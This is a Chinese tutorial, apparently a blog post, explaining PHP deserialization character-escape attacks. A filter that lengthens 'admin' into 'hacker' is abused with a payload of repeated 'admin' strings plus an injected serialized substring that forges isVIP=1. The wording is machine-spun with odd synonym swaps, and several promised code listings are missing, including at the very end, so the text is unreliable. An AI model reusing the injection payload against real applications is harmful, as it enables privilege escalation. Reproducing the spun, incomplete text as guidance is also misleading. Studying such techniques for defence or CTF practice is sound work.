| PHP反序列化字符逃逸的原理 
 
 当开辟者使用先将对象序列化,然后将对象中的字符举行过滤,末了再举行反序列化。这个时间就有可能会产生PHP反序列化字符逃逸的漏洞。详解PHP反序列化字符逃逸
 
 对于PHP反序列字符逃逸,我们分为以下两种情况举行讨论。
 过滤后字符变多
 
 假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。
 class user{    public $username;    public $password;    public $isVIP;        public function __construct($u,$p){        $this->username = $u;        $this->password = $p;        $this->isVIP = 0;    }}可以看到当这个类被初始化的时间,isVIP变量默认是0,并且不受初始化传入的参数影响。
 接下来把完整代码贴出来,便于我们分析。
 这一段步伐的输出结果如下:
 O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}可以看到,对象序列化之后的isVIP变量是0。
 这个时间我们增长一个函数,用于对admin字符举行更换,将admin更换为hacker,更换函数如下:
 function filter($s){    return str_replace("admin","hacker",$s);}因此整段步伐如下:
 这一段步伐的输出为:
 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}这个时间我们把这两个步伐的输出拿出来对比一下:
 O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤可以看到已过滤字符串中的hacker与前面的字符长度不对应了
 s:5:"admin";s:5:"hacker";在这个时间,对于我们,在新建对象的时间,传入的admin就是我们的可控变量
 接下来明白我们的目标:将isVIP变量的值修改为1
 首先我们将我们的现有子串和目标子串举行对比:
 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}        //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}        //目标子串也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
 首先计算我们需要注入的目标子串的长度:
 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47由于我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会酿成hacker,也就是说每出现一次admin,就会多1个字符。
 因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
 adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}完整代码如下:
 |